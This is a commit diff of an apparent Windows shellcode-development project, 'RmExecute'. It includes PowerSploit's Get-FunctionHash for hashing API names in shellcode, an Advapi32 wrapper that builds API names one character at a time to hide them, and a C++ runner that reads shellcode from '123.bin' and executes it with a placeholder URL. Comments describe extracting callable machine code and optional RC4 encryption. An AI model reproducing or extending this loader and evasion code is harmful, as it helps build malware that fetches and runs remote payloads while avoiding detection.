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bakabie
parent
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function Get-FunctionHash
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{
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<#
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.SYNOPSIS
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Outputs a module and function hash that can be passed to the
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GetProcAddressWithHash function.
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PowerSploit Function: Get-FunctionHash
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Author: Matthew Graeber (@mattifestation)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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.DESCRIPTION
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Get-FunctionHash calculates a hash that can be passed to
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GetProcAddressWithHash - a C function that is used to resolve Win32
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library functions. Passing a hash to a function address resolver
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prevents plaintext strings from being sent in the clear in shellcode.
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A python implementation of this algorithm is present in Meatsploit
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will perform hash collision detection.
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.PARAMETER Module
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Specifies the module to be hashed. Be sure to include the file extension.
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The module name will be normalized to upper case.
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.PARAMETER Function
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Specifies the function to be hashed. The function name is case-sensitive.
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.PARAMETER RorValue
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Specifies the value by which the hashing algorithm rotates right. The
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range of possibles values is 1-31.
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.EXAMPLE
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Get-FunctionHash kernel32.dll LoadLibraryA
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.OUTPUTS
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System.String
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Outputs a hexadecimal representation of the function hash.
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.LINK
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http://www.exploit-monday.com/
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https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py
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#>
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[CmdletBinding()] Param (
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[Parameter(Position = 0, Mandatory = $True)]
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[ValidateNotNullOrEmpty()]
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[String]
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$Module,
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[Parameter(Position = 1, Mandatory = $True)]
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[ValidateNotNullOrEmpty()]
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[String]
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$Function,
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[Parameter(Position = 2)]
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[ValidateRange(1, 31)]
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[String]
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$RorValue = 13
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)
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$MethodInfo = New-Object Reflection.Emit.DynamicMethod('Ror', [UInt32], @([UInt32], [UInt32]))
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$ILGen = $MethodInfo.GetILGenerator(8)
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# C# equivalent of: return x >> n | x << 32 - n;
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
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$ILGen.Emit([Reflection.Emit.OpCodes]::And)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Shr_Un)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 32)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Sub)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
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$ILGen.Emit([Reflection.Emit.OpCodes]::And)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Shl)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Or)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
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$Delegate = [Func``3[UInt32, UInt32, UInt32]]
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$Ror = $MethodInfo.CreateDelegate($Delegate)
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$MethodInfo = New-Object Reflection.Emit.DynamicMethod('Add', [UInt32], @([UInt32], [UInt32]))
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$ILGen = $MethodInfo.GetILGenerator(2)
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# C# equivalent of: return x + y;
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Add)
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$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
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$Add = $MethodInfo.CreateDelegate($Delegate)
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$UnicodeEncoder = [Text.Encoding]::Unicode
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$Module = $Module.ToUpper()
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[Byte[]] $ModuleBytes = $UnicodeEncoder.GetBytes($Module) + [Byte[]] @(0, 0)
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$ModuleHash = [UInt32] 0
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# Iterate over each byte of the unicode module string including nulls
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for ($i = 0; $i -lt $ModuleBytes.Length; $i++)
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{
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$ModuleHash = $Ror.Invoke($ModuleHash, 13)
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$ModuleHash = $Add.Invoke($ModuleHash, $ModuleBytes[$i])
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}
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$AsciiEncoder = [Text.Encoding]::ASCII
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[Byte[]] $FunctionBytes = $AsciiEncoder.GetBytes($Function) + @([Byte] 0)
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$FunctionHash = [UInt32] 0
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# Iterate over each byte of the function string including the null terminator
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for ($i = 0; $i -lt $FunctionBytes.Length; $i++)
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{
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$FunctionHash = $Ror.Invoke($FunctionHash, $RorValue)
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$FunctionHash = $Add.Invoke($FunctionHash, $FunctionBytes[$i])
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}
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# Add the function hash to the module hash
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$FinalHash = $Add.Invoke($ModuleHash, $FunctionHash)
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# Write out the hexadecimal representation of the hash
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Write-Output "0x$($FinalHash.ToString('X8'))"
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}
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Binary file not shown.
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After Width: | Height: | Size: 110 KiB |
Binary file not shown.
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After Width: | Height: | Size: 8.1 KiB |
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@ -0,0 +1,37 @@
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Microsoft Visual Studio Solution File, Format Version 12.00
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# Visual Studio Version 16
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VisualStudioVersion = 16.0.30907.101
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MinimumVisualStudioVersion = 10.0.40219.1
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RmExecute", "RmExecute\RmExecute.vcxproj", "{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|x64 = Debug|x64
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Debug|x86 = Debug|x86
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Release|x64 = Release|x64
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Release|x86 = Release|x86
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RUN_EXE_MT|x64 = RUN_EXE_MT|x64
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RUN_EXE_MT|x86 = RUN_EXE_MT|x86
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EndGlobalSection
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x64.ActiveCfg = Debug|x64
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x64.Build.0 = Debug|x64
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x86.ActiveCfg = Debug|Win32
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x86.Build.0 = Debug|Win32
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x64.ActiveCfg = Release|x64
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x64.Build.0 = Release|x64
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x86.ActiveCfg = Release|Win32
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x86.Build.0 = Release|Win32
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x64.ActiveCfg = RUN_EXE_MT|x64
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x64.Build.0 = RUN_EXE_MT|x64
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x86.ActiveCfg = RUN_EXE_MT|Win32
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{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x86.Build.0 = RUN_EXE_MT|Win32
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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EndGlobalSection
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GlobalSection(ExtensibilityGlobals) = postSolution
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SolutionGuid = {A0AD0DA4-C5DF-4477-8B1F-B4BAFD5BC54A}
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EndGlobalSection
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EndGlobal
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@ -0,0 +1,370 @@
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//这个类专门导出Advapi32.dll中的系统API
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class Advapi32 :BaseInclude
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{
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#define Advapi32_EXTEND_H win.advapi32
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#define Advapi32_DEF(x) if (!Advapi32Base)GetAdvapi32();if (!g_##x##)Init_##x##();
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public:
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HMODULE Advapi32Base = 0;//Shell32.dll的模块基址
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public:
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typedef LSTATUS(WINAPI* fnRegCreateKeyExA)(
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_In_ HKEY hKey,
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_In_ LPCSTR lpSubKey,
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_Reserved_ DWORD Reserved,
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_In_opt_ LPSTR lpClass,
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_In_ DWORD dwOptions,
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_In_ REGSAM samDesired,
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_In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes,
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_Out_ PHKEY phkResult,
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_Out_opt_ LPDWORD lpdwDisposition
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);
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fnRegCreateKeyExA g_RegCreateKeyExA = 0;
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typedef LSTATUS(WINAPI* fnRegSetValueExA)(
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_In_ HKEY hKey,
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_In_opt_ LPCSTR lpValueName,
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_Reserved_ DWORD Reserved,
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_In_ DWORD dwType,
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_In_reads_bytes_opt_(cbData) CONST BYTE * lpData,
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_In_ DWORD cbData
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);
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fnRegSetValueExA g_RegSetValueExA = 0;
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typedef LSTATUS(WINAPI* fnRegCloseKey)(
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_In_ HKEY hKey
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);
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fnRegCloseKey g_RegCloseKey = 0;
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typedef LSTATUS(WINAPI* fnRegOpenKeyExA)(
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_In_ HKEY hKey,
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_In_opt_ LPCSTR lpSubKey,
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_In_opt_ DWORD ulOptions,
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_In_ REGSAM samDesired,
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_Out_ PHKEY phkResult
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);
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fnRegOpenKeyExA g_RegOpenKeyExA = 0;
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typedef LSTATUS(WINAPI* fnRegEnumKeyExA)(
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_In_ HKEY hKey,
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_In_ DWORD dwIndex,
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_Out_writes_to_opt_(*lpcchName, *lpcchName + 1) LPSTR lpName,
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_Inout_ LPDWORD lpcchName,
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_Reserved_ LPDWORD lpReserved,
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_Out_writes_to_opt_(*lpcchClass, *lpcchClass + 1) LPSTR lpClass,
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_Inout_opt_ LPDWORD lpcchClass,
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_Out_opt_ PFILETIME lpftLastWriteTime
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);
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fnRegEnumKeyExA g_RegEnumKeyExA = 0;
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typedef BOOL(WINAPI* fnLookupAccountNameA)(
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_In_opt_ LPCTSTR lpSystemName,
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_In_ LPCTSTR lpAccountName,
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_Out_opt_ PSID Sid,
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_Inout_ LPDWORD cbSid,
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_Out_opt_ LPTSTR ReferencedDomainName,
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_Inout_ LPDWORD cchReferencedDomainName,
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_Out_ PSID_NAME_USE peUse
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);
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fnLookupAccountNameA g_LookupAccountNameA = 0;
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typedef BOOL(WINAPI* fnGetFileSecurityA)(
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_In_ LPCSTR lpFileName,
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_In_ SECURITY_INFORMATION RequestedInformation,
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_Out_writes_bytes_to_opt_(nLength, *lpnLengthNeeded) PSECURITY_DESCRIPTOR pSecurityDescriptor,
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_In_ DWORD nLength,
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_Out_ LPDWORD lpnLengthNeeded
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);
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fnGetFileSecurityA g_GetFileSecurityA = 0;
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typedef BOOL(WINAPI* fnGetSecurityDescriptorDacl)(
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_In_ PSECURITY_DESCRIPTOR pSecurityDescriptor,
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_Out_ LPBOOL lpbDaclPresent,
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_Outptr_ PACL * pDacl,
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_Out_ LPBOOL lpbDaclDefaulted
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);
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fnGetSecurityDescriptorDacl g_GetSecurityDescriptorDacl = 0;
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typedef BOOL(WINAPI* fnGetAclInformation)(
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_In_ PACL pAcl,
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_Out_writes_bytes_(nAclInformationLength) LPVOID pAclInformation,
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_In_ DWORD nAclInformationLength,
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_In_ ACL_INFORMATION_CLASS dwAclInformationClass
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);
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fnGetAclInformation g_GetAclInformation = 0;
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typedef BOOL(WINAPI* fnGetAce)(
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_In_ PACL pAcl,
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_In_ DWORD dwAceIndex,
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_Outptr_ LPVOID * pAce
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);
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fnGetAce g_GetAce = 0;
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typedef BOOL(WINAPI* fnEqualSid)(
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_In_ PSID pSid1,
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_In_ PSID pSid2
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);
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fnEqualSid g_EqualSid = 0;
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typedef BOOL(WINAPI* fnGetUserNameA)(
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_Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer,
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_Inout_ LPDWORD pcbBuffer
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);
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fnGetUserNameA g_GetUserNameA = 0;
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public:
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Advapi32()
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{
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}
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void GetAdvapi32()//初始化，加载上预定好的函数的偏移，这里是ShellExecuteA函数
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{
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char Advapi32[] = { 'A', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', '\0' };
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Advapi32Base = fLoadLibraryA(Advapi32);
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}
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//API寻址导出
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public:
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void __stdcall Init_RegCreateKeyExA()
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{
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char szRegCreateKeyExA[16] = { 'R', 'e', 'g', 'C', 'r', 'e', 'a', 't', 'e', 'K', 'e', 'y', 'E', 'x', 'A', 0 };
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g_RegCreateKeyExA = (fnRegCreateKeyExA)fGetProcAddress(Advapi32Base, szRegCreateKeyExA);
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}
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LSTATUS
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APIENTRY
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RegCreateKeyExA(
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_In_ HKEY hKey,
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_In_ LPCSTR lpSubKey,
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_Reserved_ DWORD Reserved,
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_In_opt_ LPSTR lpClass,
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_In_ DWORD dwOptions,
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_In_ REGSAM samDesired,
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_In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes,
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_Out_ PHKEY phkResult,
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_Out_opt_ LPDWORD lpdwDisposition
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)
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{
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Advapi32_DEF(RegCreateKeyExA);
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return g_RegCreateKeyExA(hKey, lpSubKey, Reserved, lpClass, dwOptions, samDesired, lpSecurityAttributes, phkResult, lpdwDisposition);
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}
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void __stdcall Init_RegSetValueExA()
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{
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char szRegSetValueExA[15] = { 'R', 'e', 'g', 'S', 'e', 't', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'A', 0 };
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g_RegSetValueExA = (fnRegSetValueExA)fGetProcAddress(Advapi32Base, szRegSetValueExA);
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}
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LSTATUS
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APIENTRY
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RegSetValueExA(
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_In_ HKEY hKey,
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_In_opt_ LPCSTR lpValueName,
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_Reserved_ DWORD Reserved,
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_In_ DWORD dwType,
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_In_reads_bytes_opt_(cbData) CONST BYTE * lpData,
|
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_In_ DWORD cbData
|
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)
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{
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Advapi32_DEF(RegSetValueExA);
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return g_RegSetValueExA(hKey, lpValueName, Reserved, dwType, lpData, cbData);
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}
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void __stdcall Init_RegCloseKey()
|
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{
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char szRegCloseKey[12] = { 'R', 'e', 'g', 'C', 'l', 'o', 's', 'e', 'K', 'e', 'y', 0 };
|
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g_RegCloseKey = (fnRegCloseKey)fGetProcAddress(Advapi32Base, szRegCloseKey);
|
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}
|
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LSTATUS
|
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APIENTRY
|
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RegCloseKey(
|
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_In_ HKEY hKey
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(RegCloseKey);
|
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return g_RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
void __stdcall Init_RegOpenKeyExA()
|
||||
{
|
||||
char szRegOpenKeyExA[14] = { 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'A', 0 };
|
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g_RegOpenKeyExA = (fnRegOpenKeyExA)fGetProcAddress(Advapi32Base, szRegOpenKeyExA);
|
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}
|
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LSTATUS
|
||||
APIENTRY
|
||||
RegOpenKeyExA(
|
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_In_ HKEY hKey,
|
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_In_opt_ LPCSTR lpSubKey,
|
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_In_opt_ DWORD ulOptions,
|
||||
_In_ REGSAM samDesired,
|
||||
_Out_ PHKEY phkResult
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(RegOpenKeyExA);
|
||||
return g_RegOpenKeyExA(hKey, lpSubKey, ulOptions, samDesired, phkResult);
|
||||
}
|
||||
|
||||
void __stdcall Init_RegEnumKeyExA()
|
||||
{
|
||||
char szRegEnumKeyExA[14] = { 'R', 'e', 'g', 'E', 'n', 'u', 'm', 'K', 'e', 'y', 'E', 'x', 'A', 0 };
|
||||
g_RegEnumKeyExA = (fnRegEnumKeyExA)fGetProcAddress(Advapi32Base, szRegEnumKeyExA);
|
||||
}
|
||||
LSTATUS
|
||||
APIENTRY
|
||||
RegEnumKeyExA(
|
||||
_In_ HKEY hKey,
|
||||
_In_ DWORD dwIndex,
|
||||
_Out_writes_to_opt_(*lpcchName, *lpcchName + 1) LPSTR lpName,
|
||||
_Inout_ LPDWORD lpcchName,
|
||||
_Reserved_ LPDWORD lpReserved,
|
||||
_Out_writes_to_opt_(*lpcchClass, *lpcchClass + 1) LPSTR lpClass,
|
||||
_Inout_opt_ LPDWORD lpcchClass,
|
||||
_Out_opt_ PFILETIME lpftLastWriteTime
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(RegEnumKeyExA);
|
||||
return g_RegEnumKeyExA(hKey, dwIndex, lpName, lpcchName, lpReserved, lpClass, lpcchClass, lpftLastWriteTime);
|
||||
}
|
||||
|
||||
void __stdcall Init_LookupAccountNameA()
|
||||
{
|
||||
char szLookupAccountNameA[19] = { 'L', 'o', 'o', 'k', 'u', 'p', 'A', 'c', 'c', 'o', 'u', 'n', 't', 'N', 'a', 'm', 'e','A', 0 };
|
||||
g_LookupAccountNameA = (fnLookupAccountNameA)fGetProcAddress(Advapi32Base, szLookupAccountNameA);
|
||||
}
|
||||
BOOL
|
||||
WINAPI
|
||||
LookupAccountNameA(
|
||||
_In_opt_ LPCTSTR lpSystemName,
|
||||
_In_ LPCTSTR lpAccountName,
|
||||
_Out_opt_ PSID Sid,
|
||||
_Inout_ LPDWORD cbSid,
|
||||
_Out_opt_ LPTSTR ReferencedDomainName,
|
||||
_Inout_ LPDWORD cchReferencedDomainName,
|
||||
_Out_ PSID_NAME_USE peUse
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(LookupAccountNameA);
|
||||
return g_LookupAccountNameA(lpSystemName, lpAccountName, Sid, cbSid, ReferencedDomainName, cchReferencedDomainName, peUse);
|
||||
}
|
||||
|
||||
void __stdcall Init_GetFileSecurityA()
|
||||
{
|
||||
char szGetFileSecurityA[18] = { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'A', 0 };
|
||||
g_GetFileSecurityA = (fnGetFileSecurityA)fGetProcAddress(Advapi32Base, szGetFileSecurityA);
|
||||
}
|
||||
BOOL
|
||||
WINAPI
|
||||
GetFileSecurityA(
|
||||
_In_ LPCSTR lpFileName,
|
||||
_In_ SECURITY_INFORMATION RequestedInformation,
|
||||
_Out_writes_bytes_to_opt_(nLength, *lpnLengthNeeded) PSECURITY_DESCRIPTOR pSecurityDescriptor,
|
||||
_In_ DWORD nLength,
|
||||
_Out_ LPDWORD lpnLengthNeeded
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(GetFileSecurityA);
|
||||
return g_GetFileSecurityA(lpFileName, RequestedInformation, pSecurityDescriptor, nLength, lpnLengthNeeded);
|
||||
}
|
||||
|
||||
void __stdcall Init_GetSecurityDescriptorDacl()
|
||||
{
|
||||
char szGetSecurityDescriptorDacl[26] = { 'G', 'e', 't', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'D', 'e', 's', 'c', 'r', 'i', 'p', 't', 'o', 'r', 'D', 'a', 'c', 'l', 0 };
|
||||
g_GetSecurityDescriptorDacl = (fnGetSecurityDescriptorDacl)fGetProcAddress(Advapi32Base, szGetSecurityDescriptorDacl);
|
||||
}
|
||||
BOOL
|
||||
WINAPI
|
||||
GetSecurityDescriptorDacl(
|
||||
_In_ PSECURITY_DESCRIPTOR pSecurityDescriptor,
|
||||
_Out_ LPBOOL lpbDaclPresent,
|
||||
_Outptr_ PACL * pDacl,
|
||||
_Out_ LPBOOL lpbDaclDefaulted
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(GetSecurityDescriptorDacl);
|
||||
return g_GetSecurityDescriptorDacl(pSecurityDescriptor, lpbDaclPresent, pDacl, lpbDaclDefaulted);
|
||||
}
|
||||
|
||||
void __stdcall Init_GetAclInformation()
|
||||
{
|
||||
char szGetAclInformation[18] = { 'G', 'e', 't', 'A', 'c', 'l', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0 };
|
||||
g_GetAclInformation = (fnGetAclInformation)fGetProcAddress(Advapi32Base, szGetAclInformation);
|
||||
}
|
||||
BOOL
|
||||
WINAPI
|
||||
GetAclInformation(
|
||||
_In_ PACL pAcl,
|
||||
_Out_writes_bytes_(nAclInformationLength) LPVOID pAclInformation,
|
||||
_In_ DWORD nAclInformationLength,
|
||||
_In_ ACL_INFORMATION_CLASS dwAclInformationClass
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(GetAclInformation);
|
||||
return g_GetAclInformation(pAcl, pAclInformation, nAclInformationLength, dwAclInformationClass);
|
||||
}
|
||||
|
||||
void __stdcall Init_GetAce()
|
||||
{
|
||||
char szGetAce[7] = { 'G', 'e', 't', 'A', 'c', 'e', 0 };
|
||||
g_GetAce = (fnGetAce)fGetProcAddress(Advapi32Base, szGetAce);
|
||||
}
|
||||
BOOL
|
||||
WINAPI
|
||||
GetAce(
|
||||
_In_ PACL pAcl,
|
||||
_In_ DWORD dwAceIndex,
|
||||
_Outptr_ LPVOID * pAce
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(GetAce);
|
||||
return g_GetAce(pAcl, dwAceIndex, pAce);
|
||||
}
|
||||
|
||||
void __stdcall Init_EqualSid()
|
||||
{
|
||||
char szEqualSid[9] = { 'E', 'q', 'u', 'a', 'l', 'S', 'i', 'd', 0 };
|
||||
g_EqualSid = (fnEqualSid)fGetProcAddress(Advapi32Base, szEqualSid);
|
||||
}
|
||||
BOOL
|
||||
WINAPI
|
||||
EqualSid(
|
||||
_In_ PSID pSid1,
|
||||
_In_ PSID pSid2
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(EqualSid);
|
||||
return g_EqualSid(pSid1, pSid2);
|
||||
}
|
||||
|
||||
void __stdcall Init_GetUserNameA()
|
||||
{
|
||||
char szGetUserNameA[14] = { 'G', 'e', 't', 'U', 's', 'e', 'r', 'N', 'a', 'm', 'e', 'A', 0 };
|
||||
g_GetUserNameA = (fnGetUserNameA)fGetProcAddress(Advapi32Base, szGetUserNameA);
|
||||
}
|
||||
BOOL
|
||||
WINAPI
|
||||
GetUserNameA(
|
||||
_Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer,
|
||||
_Inout_ LPDWORD pcbBuffer
|
||||
)
|
||||
{
|
||||
Advapi32_DEF(GetUserNameA);
|
||||
return g_GetUserNameA(lpBuffer, pcbBuffer);
|
||||
}
|
||||
|
||||
#define GetUserNameA Advapi32_EXTEND_H.GetUserNameA
|
||||
#define EqualSid Advapi32_EXTEND_H.EqualSid
|
||||
#define GetAce Advapi32_EXTEND_H.GetAce
|
||||
#define GetAclInformation Advapi32_EXTEND_H.GetAclInformation
|
||||
#define GetSecurityDescriptorDacl Advapi32_EXTEND_H.GetSecurityDescriptorDacl
|
||||
#define GetFileSecurityA Advapi32_EXTEND_H.GetFileSecurityA
|
||||
#define LookupAccountNameA Advapi32_EXTEND_H.LookupAccountNameA
|
||||
#define RegEnumKeyExA Advapi32_EXTEND_H.RegEnumKeyExA
|
||||
#define RegOpenKeyExA Advapi32_EXTEND_H.RegOpenKeyExA
|
||||
#define RegCloseKey Advapi32_EXTEND_H.RegCloseKey
|
||||
#define RegSetValueExA Advapi32_EXTEND_H.RegSetValueExA
|
||||
#define RegCreateKeyExA Advapi32_EXTEND_H.RegCreateKeyExA
|
||||
};
|
||||
|
|
@ -0,0 +1,155 @@
|
|||
// RcDllShelcode.cpp : 定义控制台应用程序的入口点。
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include<Windows.h>
|
||||
#include"ShellCode.h"
|
||||
#pragma warning(disable:4996)
|
||||
//#pragma comment(linker, "/section:.data,RWE")
|
||||
|
||||
DWORD ReadFileData(char *szFilePath, char *pBuf)
|
||||
{
|
||||
DWORD dwBytesRead;
|
||||
HANDLE hFile;
|
||||
|
||||
hFile = CreateFile(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD dwFileSize = GetFileSize(hFile, 0);
|
||||
if (dwFileSize == 0)
|
||||
{
|
||||
CloseHandle(hFile);
|
||||
return 0;
|
||||
}
|
||||
|
||||
ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
return dwFileSize;
|
||||
}
|
||||
DWORD GetFileSizeLen(char *szSource)
|
||||
{
|
||||
|
||||
HANDLE hFile;
|
||||
|
||||
hFile = CreateFile(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
MessageBoxA(NULL, "文件未找到！", NULL, NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD dwFileSize = GetFileSize(hFile, 0);
|
||||
if (dwFileSize == 0)
|
||||
{
|
||||
MessageBoxA(NULL, "文件长度为零！", NULL, NULL);
|
||||
CloseHandle(hFile);
|
||||
return 0;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return dwFileSize;
|
||||
}
|
||||
|
||||
|
||||
#ifndef RUNEXEMT
|
||||
void RunShellCode()
|
||||
{
|
||||
int dwShellCodeLen = (int)mmLoaderSCEnd - (int)mmLoaderSCStart;
|
||||
|
||||
void* shellcodeEnter = mmLoaderSCStart;
|
||||
typedef void(WINAPI* fnFun)(
|
||||
char*
|
||||
);
|
||||
char URL[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
|
||||
fnFun Shellcode = (fnFun)(shellcodeEnter);
|
||||
Shellcode(URL);
|
||||
|
||||
}
|
||||
#else
|
||||
|
||||
void RunShellCode()
|
||||
{
|
||||
|
||||
char shelname[] = "123.bin";
|
||||
|
||||
DWORD filelen = GetFileSizeLen(shelname);
|
||||
char *filebuf = new char[filelen];
|
||||
ReadFileData(shelname, filebuf);
|
||||
|
||||
char URL[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
|
||||
|
||||
typedef void(WINAPI* fnFun)(
|
||||
char*
|
||||
);
|
||||
|
||||
fnFun Shellcode = (fnFun)(filebuf);
|
||||
Shellcode(URL);
|
||||
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
/*
|
||||
用于Shelocde编写,提取,测试
|
||||
|
||||
Debug模式下，测试编写的shelcode代码是否可以正常跑起来
|
||||
|
||||
Release模式为提取shelcode，提取出来的都是可以直接call的汇编机器码
|
||||
|
||||
RUN_EXE_MT 编译为可用的exe
|
||||
*/
|
||||
#ifdef RUNEXEMT
|
||||
/*
|
||||
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
|
||||
_In_opt_ HINSTANCE hPrevInstance,
|
||||
_In_ LPTSTR lpCmdLine,
|
||||
_In_ int nCmdShow)
|
||||
{
|
||||
*/
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
#else
|
||||
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef _DEBUG
|
||||
|
||||
|
||||
RunShellCode();
|
||||
|
||||
return 0;
|
||||
#else
|
||||
//启用加解密的开关
|
||||
// #define RC4_EN
|
||||
|
||||
//长度
|
||||
int dwShellCodeLen = (int)mmLoaderSCEnd - (int)mmLoaderSCStart;
|
||||
|
||||
void * shellcodeEnter =mmLoaderSCStart;
|
||||
|
||||
|
||||
//生成shellcode文件
|
||||
FILE *fp;
|
||||
fp = fopen("123.bin", "w+b");
|
||||
if (fp)
|
||||
{
|
||||
#ifdef RC4_EN
|
||||
fwrite(shellcodeEnter, (dwShellCodeLen + sizeof(s_flag)*2), 1, fp);
|
||||
#else
|
||||
fwrite(shellcodeEnter, dwShellCodeLen, 1, fp);
|
||||
#endif
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project>
|
||||
<ProjectOutputs>
|
||||
<ProjectOutput>
|
||||
<FullPath>C:\Users\admin\Desktop\RcDllShelcode\RUN_EXE_MT\RcDllShelcode.exe</FullPath>
|
||||
</ProjectOutput>
|
||||
</ProjectOutputs>
|
||||
<ContentFiles />
|
||||
<SatelliteDlls />
|
||||
<NonRecipeFileRefs />
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project>
|
||||
<ProjectOutputs>
|
||||
<ProjectOutput>
|
||||
<FullPath>C:\Users\admin\Desktop\RcDllShelcode\RUN_EXE_MT\RmExecute.exe</FullPath>
|
||||
</ProjectOutput>
|
||||
</ProjectOutputs>
|
||||
<ContentFiles />
|
||||
<SatelliteDlls />
|
||||
<NonRecipeFileRefs />
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,178 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="RUN_EXE_MT|Win32">
|
||||
<Configuration>RUN_EXE_MT</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="RUN_EXE_MT|x64">
|
||||
<Configuration>RUN_EXE_MT</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>RcDllShelcode</RootNamespace>
|
||||
<ProjectName>RmExecute</ProjectName>
|
||||
</PropertyGroup>
|
||||
